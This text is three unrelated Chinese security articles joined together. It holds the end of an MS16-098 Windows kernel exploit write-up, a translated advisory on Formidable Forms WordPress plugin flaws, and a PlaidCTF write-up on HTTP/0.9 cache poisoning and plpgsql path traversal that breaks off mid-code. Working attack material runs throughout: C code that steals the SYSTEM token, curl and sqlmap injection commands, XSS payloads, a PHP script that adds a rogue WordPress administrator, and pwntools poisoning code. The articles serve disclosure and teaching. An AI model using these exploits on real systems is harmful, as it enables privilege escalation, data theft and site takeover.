ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
FreeLibrary((HMODULE)ntos);
ULONG64 res = 0;
ULONG64 ntOsBase = GetNTOsBase();
// subtract addr from ntos to get PsInitialSystemProcess offset from base
if (ntOsBase) {
ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
}
return res;
}
PsInitalSystemProcess（译注：作者起一样的名字不怕歧义？这里指的是上面代码中的函数）会把ntoskrnl.exe加载到内存中，并使用GetProcAddress获取导出的PsInitialSystemProcess的地址，然后使用EnumDeviceDrivers()函数获取内核基址。把PsInitialSystemProcess的值减去内核加载基址，就可以得到一个偏移量，将此偏移量加到检索到的内核基址上就可以得到PsInitialSystemProcess指针的内核地址。
LONG64 PsGetCurrentProcess()
{
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
// walk ActiveProcessLinks until we find our Pid
LIST_ENTRY ActiveProcessLinks;
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
ULONG64 res = 0;
while (TRUE) {
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
// get pid
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
// is this our pid?
if (GetCurrentProcessId() == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
break;
}
return res;
}
然后，它将使用管理器（manager）和工作者（worker）位图来遍历EPROCESS列表，查找列表中的当前进程。找到之后，会通过位图从EPROCESS列表中的第一个条目读取SYSTEM的Token，在EPROCESS列表中写入当前的进程。
// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
//fprintf(stdout, "rn%xrn", SystemEPROCESS);
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
//fprintf(stdout, "rn%xrn", CurrentEPROCESS);
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProccessAddr);
WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
**Step 8 – SYSTEM !!**
现在，当前的进程就拥有了SYSTEM令牌，并且会以SYSTEM权限执行。
system("cmd.exe");
本文示例的下载地址：<https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow>
**References**
[1] <https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects2>
[2] <https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives>
[3] <https://msdn.microsoft.com/en-us/library/windows/desktop/bb776657(v=vs.85).aspx>
[4] <http://www.zerodayinitiative.com/advisories/ZDI-16-449/>
[5] Using Paths Example: <https://msdn.microsoft.com/en-us/library/windows/desktop/dd145181(v=vs.85).aspx>
[6] Device Context Types: <https://msdn.microsoft.com/en-us/library/windows/desktop/dd183560(v=vs.85).aspx>
[7] Memory Device Context: <https://msdn.microsoft.com/en-us/library/windows/desktop/dd145049(v=vs.85).aspx>
[8] <https://technet.microsoft.com/library/security/MS16-098>
[9] <https://www.amazon.co.uk/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860>
[10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes –
Keen Team: <http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes>
[11] Windows Graphics Programming: Win32 GDI and DirectDraw:
<https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom>
[12] Abusing GDI objects for ring0 exploit primitives reloaded:
<https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf> | 社区文章 |
# 【技术分享】对WordPress插件Formidable Forms多个漏洞的分析
|
##### 译文声明
本文是翻译文章，文章来源：klikki.fi
原文地址：<https://klikki.fi/adv/formidable.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**概述**
****
**Formidable Forms**
是一个流行的WordPress插件，目前已拥有超过20万次安装数量。这一插件可以用来创建通讯录、调查问卷和多种其他类型的窗体。该插件的基本版（Basic）是免费的，升级为专业版（Pro）则须另外付费。
我们本次发现了这一插件中的多个漏洞，这些漏洞已经在2.05.02和2.05.03版本中被修复。
**预览功能未经认证允许使用短代码漏洞**
****
该插件包含一个表单预览的 **AJAX**
函数，并且在未经认证的情况下，允许任何人使用此函数。该函数对于一些能够影响其表单预览HTML显示效果的参数没有加以限制。因此，参数after_html和before_html可以被用来在表单的前后加入自定义的HTML。我们本次所发现的大多数漏洞都是因这一问题而产生的。
短代码（Shortcode）是WordPress中的一项重要特性，借助短代码，用户可以发轻松地发布动态内容。通常情况下，这些参数中的短代码会首先被系统判断。考虑到短代码中的内容可能较为敏感，在未验证用户身份的前提下，短代码一般不会被加载。WordPress的内核支持短代码，插件也可以实现它们自身的短代码。然而，某些插件中的短代码，会直接允许服务器端执行代码（例如Shortcodes
Ultimate终极简码插件）。在Formidable Forms中，一些短代码就可以被进行漏洞利用。
例如：
url -s -i 'https://target.site/wp-admin/admin-ajax.php'
--data 'action=frm_forms_preview&after_html=any html here and [any_shortcode]...'
**SQL** **注入漏洞**
****
Formidable专业版所支持的[display-frm-data]短代码包含一个SQL注入漏洞。其中的“order”短代码属性，在不进行任何检查和转义的情况下，就可以直接在ORDER
BY子句中使用。例如，以下请求将会在服务器日志中产生一条SQL错误消息：
curl -s -i 'https://target.site/wp-admin/admin-ajax.php'
--data 'action=frm_forms_preview&after_html=[display-frm-data id=123 order_by=id limit=1 order=zzz]'
利用这一漏洞有几个难点，但它们是可以解决的。
**首先，我们需要进行的是一个盲SQL注入，攻击者并不能直接看到SQL查询的结果。并且，它只会影响响应中所显示项目的顺序。**
尽管如此，通过借助SQLMap等工具，这一漏洞还是足以让我们检索到全部数据库内容。
其次，当Formidable进行SQL查询时，会使用多种方式来处理其中的“order”属性。如果参数中有逗号，那么插件会在结果中的每一个逗号后面加上字符串“it.id”。然而，如下面的例子所示，
**SQLMap中的-eval参数可以在这里使用，我们可以通过在每个逗号后面添加“-it.id+”来解决这一问题。**
举例来说，根据这一规则，一个注入的“SELECT a, b”查询，将被转换为“SELECT a,it.id b”。我们所使用的-eval参数就可以将上述语句“修复”成“SELECT a, it.id-it.id+b”，实际上也就是原本我们想注入的查询语句。
此外，SQLMap中的Commalesslimit这一Tamper是用于避免LIMIT clauses所导致的问题。
SQLMap命令行样例：
./sqlmap.py -u 'https://target.site/wp-admin/admin-ajax.php'
--data 'action=frm_forms_preview&before_html=[display-frm-data id=123 order_by=id limit=1 order="%2a( true=true )"]'
--param-del ' ' -p true --dbms mysql --technique B --string test_string
--eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"'
--test-filter DUAL --tamper commalesslimit -D database_name
--sql-query "SELECT user_name FROM wp_users WHERE id=1"
这样一来，该漏洞就可以用于遍历系统上的数据库和表，并可以检索数据库中指定内容。
**其中包括：WordPress用户的详细信息、密码哈希值、全部Formidable数据以及其他数据库中用户可以访问的内容。**
如果使用上述命令行，必须要将database_name更改为现有的数据库名称，将123修改为有效的表单ID，并且test_string需要与该表单中的数据匹配，这样SQLMap才能够给出正确的响应。
**未授权的表单条目检索漏洞**
Formidable中的[formresults]短代码可用于 **查看在该网站上提交任何表单之后所得到的响应。**
在表单响应中，往往会包含联系人信息或者其他敏感内容。
以下是使用cURL命令行工具的检索示例：
curl 'https://target.site/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&after_html=[formresults id=123]'
其获得的响应，会包含在ID为123的表单中提交的所有条目。
**表单预览中的反射型XSS漏洞**
****
如前文所述，由于可以 **在after_html和before_html参数中注入自定义的HTML**
，我们就可以通过注入一些危险的HTML代码，以此来实现基于POST的XSS攻击。例如下面的表单：
<form method="POST" action="
<input name="before_html" value="<svg on[entry_key]load=alert(/xss/) />">
</form>
在渲染之前，Formidable会将[entry_key]这一部分删去，这就导致该代码可以绕过浏览器内置的XSS防范机制。
**表单条目存储型XSS漏洞**
****
在WordPress仪表盘中，管理员可以在Formidable表单中查看到用户输入的数据。
**尽管wp_kses()函数会对表单中输入的HTML加以筛选，但由于它允许了“id”和“class”HTML属性，因此并不能防范一些具有攻击性的HTML代码，例如
<form> HTML标签。**我们可以编写特定的HTML代码，从而让攻击者指定的JavaScript在管理员查看表单条目时执行。
例如：
<form id=tinymce><textarea name=DOM></textarea></form>
<a>panelInit</a>
<a id="frm_dyncontent"><b id="xxxdyn_default_valuexxxxx" class="ui-find-overlay wp-editor-wrap">overlay</b></a>
<a id=post-visibility-display>vis1</a><a id=hidden-post-visibility>vis2</a><a id=visibility-radio-private>vis3</a>
<div id=frm-fid-search-menu><a id=frm_dynamic_values_tab>zzz</a></div>
<form id=posts-filter method=post action=admin-ajax.php?action=frm_forms_preview><textarea name=before_html><svg on[entry_key]load=alert(/xss/) /></textarea></form>
上述代码中的“id”和“class”属性会由Formidable的初始化JavaScript（formidable_admin.js）来专门处理。如果存在包含“frm_field_list”类的元素，则会执行frmAdminBuild.panelInit()函数。
而在该函数的末尾，如果发现存在“tinymce”对象，就会添加某些事件处理程序（Event Handlers）：
if(typeof(tinymce)=='object'){
// ...
jQuery('#frm_dyncontent').on('mouseover mouseout', '.wp-editor-wrap', function(e){
// ...
toggleAllowedShortcodes(this.id.slice(3,-5),'focusin');
}
}
这一检查的结果，会通过在表单中添加<form
id=tinymce>元素来实现传递。事件处理程序mouseover和mouseout则会被添加到攻击者定义的“frm_dyncontent”元素之中。它包含一个具有类属性的<b>元素，因此它将会填充整个浏览器窗口，从而自动触发处理程序，并最终导致执行toggleAllowedShortcodes
()函数。
由于slice()调用是在X之前被移除，函数在被调用时带有“Dyn_default_value”参数。该函数如下：
//Automatically select a tab
if(id=='dyn_default_value'){
jQuery(document.getElementById('frm_dynamic_values_tab')).click();
除此之外，攻击者定义的条目中还包含一个“frm_dynamic_values_tab”条目。该元素上的任何一个Click处理程序现在都会被自动执行。因为它位于一个“frm-fid-search-menu”标签之中，所以会有一个Click事件处理事件。这一Click处理事件是由下面这段代码进行安装的：
// submit the search for with dropdown
jQuery('#frm-fid-search-menu a').click(function(){
var val = this.id.replace('fid-', '');
jQuery('select[name="fid"]').val(val);
jQuery(document.getElementById('posts-filter')).submit();
return false;
});
这也就意味着， **当查看表单条目时，将会自动提交ID为“posts-filter”的表单。**
这一表单也可以在攻击者的表单响应中被注入，正如上面的例子所示。该漏洞利用基于POST的反射型XSS，采用有效的方式将其转变为存储型XSS。
在安装并触发处理事件前，vis1、vis2和vis3元素将会包含在其中，以防止出现JavaScript错误。
通过这种方式，未经身份验证的攻击者可以在Formidable表单条目中插入任意的JavaScript，一旦管理员在WordPress仪表盘中查看该表单，就能够自动执行。服务器端代码可以在默认配置下实现，例如通过插件，或是借助主题编辑器的AJAX功能。
**通过iThemes Sync实现的服务器端代码执行漏洞**
****
该漏洞并不属于Formidable，而是我们在研究过程中从另一个插件发现了相似原理的漏洞。 **如果开启了iThemes
Sync插件，我们可以借助SQL注入，查询到数据库中的身份验证秘钥** **：**
SELECT option_value FROM wp_options WHERE option_name='ithemes-sync-cache'
返回的响应包含PHP序列化后的用户ID及身份验证密钥，例如：
... s:15:"authentications";a:1:{i:123;a:4:{s:3:"key";s:10:"(KEY HERE)";s:9:"timestamp"; ...
在这里，用户ID为123，密钥为“(KEY HERE)”。当我们拥有了这个信息之后，就可以通过iThemes
Sync的功能来控制WordPress系统。具体功能包括：添加新的管理员账户、安装指定WordPress插件并启用。
示例脚本如下：
<?php
// fill in these two
$user_id='123';
$key='(KEY HERE)';
$action='manage-users';
$newuser=array();
$newuser[0]=array();
$newuser[0][0]=array();
$newuser[0][0]['user_login']='newuser';
$newuser[0][0]['user_pass']='newpass';
$newuser[0][0]['user_email']='[email protected]';
$newuser[0][0]['role']='administrator';
$args=array();
$args['add']=$newuser;
$salt='A';
$hash=hash('sha256',$user_id.$action.json_encode($args).$key.$salt);
$req=array();
$req['action']=$action;
$req['arguments']=$args;
$req['user_id']=$user_id;
$req['salt']=$salt;
$req['hash']=$hash;
$data='request='.json_encode($req);
echo("sending: $datan");
$c=curl_init();
curl_setopt($c, CURLOPT_URL,'https://target.site/?ithemes-sync-reques%74=1');
curl_setopt($c, CURLOPT_HTTPHEADER, array('User-Agent: Mozilla','X-Forwarded-For: 123.1.2.3'));
curl_setopt($c, CURLOPT_POSTFIELDS, $data);
$res=curl_exec($c);
echo("response: ".json_encode($res)."n");
?>
通过上述示例，我们在目标系统上添加了一个新的WordPress管理员“newuser”，密码设置为“newpass”。为绕过系统加固，我们对查询字符串参数进行了冗余编码。同理，我们还设置了X-Forwarded-For header。
**厂商回应**
****
Strategy11在2017年10月得知漏洞详情，随后确认漏洞存在，并在2.05.02和2.05.03版本完成了修复。如果没有启用自动更新，用户可以通过点击WordPress插件界面上的“Update”来更新插件，基础版和专业版均对上述漏洞进行了修复。
**贡献者**
****
上述漏洞均由芬兰安全研究团队Klikki Oy的Jouko Pynnön发现。 | 社区文章 |
## 0x1 前言
国际赛就是好玩，这两个web题目都还挺有意思的，目前还没有官方的writeup放出，只放出了exp
<https://gist.github.com/junorouse/ca0c6cd2b54dce3f3ae67e7121a70ec7>
,感兴趣的可以去看看这个两个题目。
此writeup同步发布在我的博客上:<https://blog.wonderkun.cc/>
第一个web题目:
potent Quotables
Web (300 pts)
I set up a little quotes server so that we can all share our favorite quotes with each other. I wrote it in Flask, but I decided that since it's mostly static content anyway, I should probably put some kind of caching layer in front of it, so I wrote a caching reverse proxy. It all seems to be working well, though I do get this weird error when starting up the server:
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
I'm sure that's not important.
Oh, and don't bother trying to go to the /admin page, that's not for you.
No solvers yet
http://quotables.pwni.ng:1337/
第二个web题目:
I stared into the abyss of microservices, and it stared back. I found something utterly terrifying about the chaos of connections.
"Screw this," I finally declared, "why have multiple services when the database can do everything just fine on its own?"
And so on that glorious day it came to be that everything ran in plpgsql.
http://triggered.pwni.ng:52856/
本文章就是基于这个exp还有我们当时的做题的一些想法，来讲解一下这两个题目中用到的知识。
## 0x2 Potent Quotables
### 题目功能简单说明
<http://quotables.pwni.ng:1337/>
根据题目提示，这是用flask写的web服务，并且他直接使用的是 `flask's built-in
server`,并没有使用flask的一些生产环境的部署方案。
题目的功能也比较简单主要有如下功能：
1. 创建Quote
2. 查看Quote
3. 给Quote投票
4. 发送一个链接给管理员，发起一个report
5. 查看提交给管理员的report，是否被管理员处理
主要的API接口如下：
http://quotables.pwni.ng:1337/api/featured # 查看所有的note,支持GET和POST
http://quotables.pwni.ng:1337/api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e #查看一个note，支持GET和POST
http://quotables.pwni.ng:1337/api/score/ba7a0334-2843-4f5e-b434-a85f06d790f1 # 查看一个note现在的票数，支持GET和POST
http://quotables.pwni.ng:1337/api/report/66fa60f2-efee-4b7d-96ab-4c557fbee63a # 查看某个report现在的状态，支持GET和POST
http://quotables.pwni.ng:1337/api/flag # 获取flag的api，只能管理员通过POST访问
功能性的页面有如下
http://quotables.pwni.ng:1337/quote#c996b56d-f6de-4ce1-8288-939ed2b381f3
http://quotables.pwni.ng:1337/report#9bd72d5e-4e6b-4c4e-985a-978fc30ff491
http://quotables.pwni.ng:1337/quotes/new
http://quotables.pwni.ng:1337/
创建的quote都是被html实体编码的，web层面上没有什么问题,但是题目还给提供了一个二进制，是一个具有缓存功能的代理，看一下主要功能。
### 发生缓存和命中缓存的时机
下面简单看一下二进制部分的代码(不要问我怎么逆的，全是队友的功劳):
main函数里面,首先监听端口，然后进入`while True`的循环，不停的从接受socket连接，开启新的线程处理发来的请求
下面看处理请求的过程：
首先获取用户请求的第一行，然后用空格分割，分别存储请求类型，请求路径和HTTP的版本信息。
接下来去解析请求头，每次读取一行，用 : 分割，parse 请求头。
while ( 1 ) // parse headers
{
while ( 1 )
{
n = get_oneline((__int64)reqbodycontentbuffer, &buf_0x2000, 8192uLL);
if ( (n & 0x8000000000000000LL) != 0LL )
{
fwrite("IO Error: readline failed. Exiting.\n", 1uLL, 0x25uLL, stderr);
exit(2);
}
if ( n != 8191 )
break;
flag = 1;
}
if ( (signed __int64)n <= 2 )
break;
v37 = (const char *)malloc(0x2000uLL);
if ( !v37 )
{
fwrite("Allocation Error: malloc failed. Exiting.\n", 1uLL, 0x2BuLL, stderr);
exit(2);
}
v38 = (const char *)malloc(0x2000uLL);
if ( !v38 )
{
fwrite("Allocation Error: malloc failed. Exiting.\n", 1uLL, 0x2BuLL, stderr);
exit(2);
}
if ( (signed int)__isoc99_sscanf((__int64)&buf_0x2000, (__int64)"%[^: ]: %[^\r\n]", (__int64)v37, (__int64)v38, v2) <= 1 )
{
flag = 1;
break;
}
move_content_destbuf((__int64)request_hchi_buffer, v37, v38);
}
接下来判断请求是否被cache了，如果被cache了，就直接从从cache中拿出响应回复给客户端，检查条件是
1. 必须是 `GET` 请求
2. 请求的路径是否匹配匹配
如果没有被cache，就修改请求头的部分字段，连接服务端，获取响应。
如果是 GET 请求，并且响应是 `HTTP/1.0 200 OK` 就cache这个响应
对于二进制的我们就看这么多逻辑，至于存在的内存leak的漏洞(非预期解就是利用内存leak来读取flag的)，就交给有能力的二进制小伙伴分析吧。
### 利用 http/0.9 进行缓存投毒
根据上面的分析，我们知道，如果我们是`GET`请求，并且此请求的返回状态是 `HTTP/1.0 200 OK`
此请求就会被缓存下来，下一次再使用相同的路径访问的时候，就会命中cache。
但是获取flag却必须是一个 post 请求，即便使用CSRF让管理员访问了flag接口，但是flag还是没有办法被cache的。
所以要想从web层面做这个题目，就必须找到xss漏洞。但是我们的输入都被html实体编码了，而且网站也没有别的复杂的功能了，似乎一切似乎陷入了僵局。
不过您是否还记得前面我列出接口的时候，后面专门写了这个接口支持哪些请求方式？
所以那些支持GET的接口的内容都是可以被cache的，其中`http://quotables.pwni.ng:1337/api/quote/{id}`这个接口的响应体的是我们可以最大程度控制的(但不是完全控制，因为有html实体编码)。
当我们使用`GET`方式访问一下这个接口之后，这个响应就会被cache。
➜ pCTF git:(master) ✗ http -v http://quotables.pwni.ng:1337/api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e
GET /api/quote/62a2d9ef-63d5-4cdf-83c7-f8b0aad8e18e HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: quotables.pwni.ng:1337
User-Agent: HTTPie/0.9.9
HTTP/1.0 200 OK
Content-Length: 89
Content-Security-Policy: default-src 'none'; script-src 'nonce-tVMdKPgvSJPuHQl9FN4Ulw=='; style-src 'self'; img-src 'self'; connect-src 'self'
Content-Type: text/plain; charset=utf-8
Date: Mon, 15 Apr 2019 07:53:12 GMT
Server: Werkzeug/0.15.2 Python/3.6.7
Rendering very large 3D models is a difficult problem. It's all a big mesh.
这里我们也是仅仅可以部分控制响应体，却没法控制响应头，并且很关键的一点是响应头里面的`Content-Type`是`text/plain`,所以根本没办法利用。
但是请试想，如果我们也可以控制响应头了，那我们可以攻击的面一下子就打开了。至于控制响应头之后怎么进行攻击一会再讲，先考虑一下能否控制响应头？
题目的exp中使用HTTP/0.9进行缓存投毒，这里真是长见识了。关于http/0.9的介绍可以看这里<https://www.w3.org/Protocols/HTTP/AsImplemented.html>,很关键的一点是http/0.9没有请求体，响应头的概念。
可以看一下简单的例子，我用flask's built-in server起了一个web服务：
➜ ~ nc 127.0.0.1 5000
GET / HTTP/0.9
Hello World!%
可以看到直接返回了ascii内容，没有响应头等复杂的东西。
到这里我才终于明白，题目中的提示是啥意思，为啥他要用`flask's built-in server`了，因为只有这玩意才支持 http/0.9,
比如我们使用http/0.9访问apache，和nginx,发现都会返回400
➜ ~ nc 127.0.0.1 80
GET / HTTP/0.9
HTTP/1.1 400 Bad Request
Date: Mon, 15 Apr 2019 08:22:06 GMT
Server: Apache/2.4.34 (Unix)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
➜ ~ nc 127.0.0.1 8081
GET / HTTP/0.9
HTTP/1.1 400 Bad Request
Server: nginx/1.15.3
Date: Mon, 15 Apr 2019 08:22:37 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.15.3</center>
</body>
</html>
我们可以利用 http/0.9 没有响应头的只有响应体的特点，去进行缓存投毒。但是响应被cache有一个条件，就是响应必须是 `HTTP/1.0 200
OK` 的，所以正常的 http/0.9 的响应是没有办法被cache的，不过绕过很简单，我们不是可以控制响应体吗？ 在响应体里面伪造一个就好了。
伪造一个quote:
headers = {
'Origin': 'http://quotables.pwni.ng:1337',
'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
}
# just using ascii-zip
wow = 'D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4'
data = {
'quote': 'HTTP/1.0 200 OK\r\nHTTP/1.0 302 OK\r\nContent-Encoding: deflate\r\nContent-Type: text/html;\r\nContent-Lexngth: {length}\r\n\r\n'.format(length=len(wow)) + wow,
'attribution': ''
}
response = requests.post('http://quotables.pwni.ng:1337/quotes/new', headers=headers, data=data)
key = response.history[0].headers['Location'].split('quote#')[1]
print(key)
此时这个quote的内容如下：
➜ ~ http -v http://quotables.pwni.ng:1337/api/quote/b4ed6ec7-ca25-47a8-bc9a-0af477e805ad
GET /api/quote/b4ed6ec7-ca25-47a8-bc9a-0af477e805ad HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: quotables.pwni.ng:1337
User-Agent: HTTPie/0.9.9
HTTP/1.0 200 OK
Content-Length: 272
Content-Security-Policy: default-src 'none'; script-src 'nonce-N1Y7jw0BZ4o6qEL3UsNEJQ=='; style-src 'self'; img-src 'self'; connect-src 'self'
Content-Type: text/plain; charset=utf-8
Date: Mon, 15 Apr 2019 08:33:07 GMT
Server: Werkzeug/0.15.2 Python/3.6.7
HTTP/1.0 200 OK
HTTP/1.0 302 OK
Content-Encoding: deflate
Content-Type: text/html;
Content-Lexngth: 158
D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4
-
下面开始缓存投毒：
from pwn import *
#
r = remote('quotables.pwni.ng', 1337)
r.sendline('''GET /api/quote/{target} HTTP/0.9
Connection: keep-alive
Host: quotables.pwni.ng:1337
Range: bytes=0-2
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Content-Transfer-Encoding: BASE64
Accept-Charset: iso-8859-15
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Proxy-Connection: close
'''.replace('\n', '\r\n').format(target=key))
r.close()
进行缓存投毒之后，此quote的响应如下：
~ curl -v http://quotables.pwni.ng:1337/api/quote/babead1b-05df-45a8-8c39-c04212b52bba
* Trying 35.199.45.210...
* TCP_NODELAY set
* Connected to quotables.pwni.ng (35.199.45.210) port 1337 (#0)
> GET /api/quote/babead1b-05df-45a8-8c39-c04212b52bba HTTP/1.1
> Host: quotables.pwni.ng:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< HTTP/1.0 302 OK
< Content-Encoding: deflate
< Content-Type: text/html;
< Content-Lexngth: 158
<
D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4
* Closing connection 0
- %
这里巧妙的利用了http/0.9和http/1.1的差异，使用
http/0.9写缓存，用http/1.1来读缓存。所以感觉安全的本质就是不一致性(瞎说的，逃。。。。)
### 利用浏览器的解码能力
到这里我们虽然可以完全控制响应头了，但是因为quote的内容全部被html实体编码了，所以仅可以部分控制响应体，导致依然没有办法进行xss攻击。很容易想到如果我们可以把内容进行一次编码，然后浏览器在访问的时候会进行自动解码，那么就万事大吉了。很幸运`Content-Encoding`就是来干这个事情的。<https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding>
> Content-Encoding
> 是一个实体消息首部，用于对特定媒体类型的数据进行压缩。当这个首部出现的时候，它的值表示消息主体进行了何种方式的内容编码转换。这个消息首部用来告知客户端应该怎样解码才能获取在
> Content-Type 中标示的媒体类型内容。
例如如下：
from flask import Flask,make_response
import zlib
app = Flask(__name__)
@app.route('/')
def hello_world():
resp = make_response()
resp.headers['Content-Encoding'] = 'deflate'
resp.set_data(zlib.compress(b'<script>alert(1)</script>'))
resp.headers['Content-Length'] = resp.content_length
return resp
if __name__ == '__main__':
app.run(debug=False)
用curl请求，看到的是乱码：
➜ ~ curl -v 127.0.0.1:5000
* Rebuilt URL to: 127.0.0.1:5000/
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 5000 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:5000
> User-Agent: curl/7.54.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Encoding: deflate
< Content-Length: 28
< Server: Werkzeug/0.15.2 Python/3.7.0
< Date: Mon, 15 Apr 2019 10:51:26 GMT
<
x��)N.�,(�K�I-*�0Դч
* Closing connection 0
u�%
但是浏览器会进行解码，然后弹框。
因为使用zlib压缩之后，会变成不可见字符，这里exp使用了另外一种叫做 ascii-zip 的编码，也可以成功被浏览器解码
详情请参考<https://github.com/molnarg/ascii-zip>
> A deflate compressor that emits compressed data that is in the [A-Za-z0-9]
> ASCII byte range.
# just using ascii-zip
wow = 'D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEtswGpDttpDDwt3ww03sG333333swwG03333sDDdFPiOMwSgoZOwMYzcoogqffVAaFVvaFvQFVaAfgkuSmVvNnFsOzyifOMwSgoy4'
这样就可以伪造任意响应了，exp给的payload被浏览器解码之后如下图所示：
这就样就利用缓存构造了一个存在xss漏洞的页面，把这个链接发给管理员，就可以随意xss了。
## 0x3 triggered
这是个代码审计题目，但是有毒的是题目所有的逻辑都是sql语句实现的，其中包括 HTTP
请求包解析，和业务逻辑处理，全是用触发器来依次调用的。为了让大家可以看到这个好玩的题目，我还把这个题目传到了github上，方便大家学习
<https://github.com/wonderkun/CTF_web/tree/master/web300-7>
代码基本可以分为两部分，前800行，主要负责http请求的解析，后面800行主要负责业务逻辑，来生成响应。
### 目录穿越漏洞
在web.request 表上有这样的一个触发器用来处理静态资源
CREATE TRIGGER route_static
BEFORE INSERT
ON web.request
FOR EACH ROW
WHEN (substring(NEW.path, 1, 8) = '/static/')
EXECUTE PROCEDURE web.handle_static();
跟一下 `handle_static` 的代码如下：
CREATE FUNCTION web.handle_static() RETURNS trigger AS $$
BEGIN
PERFORM web.serve_static(NEW.uid, substring(NEW.path, 9));
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE FUNCTION web.serve_static(uid uuid, path text) RETURNS void AS $$
DECLARE
dot_parts text[];
BEGIN
SELECT
regexp_split_to_array(path, '\.')
INTO dot_parts;
INSERT INTO web.response_header (
request_uid,
key,
value
)
SELECT
uid,
'Content-Type',
mime_type
FROM
web.mime_type
WHERE
extension = dot_parts[array_length(dot_parts, 1)];
INSERT INTO web.response (
request_uid,
status,
status_text,
body
) VALUES (
uid,
200,
'Ok',
pg_read_file('triggered/static/' || path)
);
END;
$$ LANGUAGE plpgsql;
这里直接使用了 `pg_read_file('triggered/static/' || path)`， 显然可以任意文件读取。
本地验证：
但是不知道为啥在服务器端却不能成功，一直返回 500，具体原因还不太清楚。
### session和cookie的管理
这个题目有个很让人怀疑的地方就是他的登录流程，是分两步的，先输入用户名，生成cookie和session，然后再输入密码，修改session为登录状态,直接看代码就明白了。
CREATE FUNCTION web.handle_post_login() RETURNS TRIGGER AS $$
DECLARE
form_username text;
session_uid uuid;
form_user_uid uuid;
context jsonb;
BEGIN
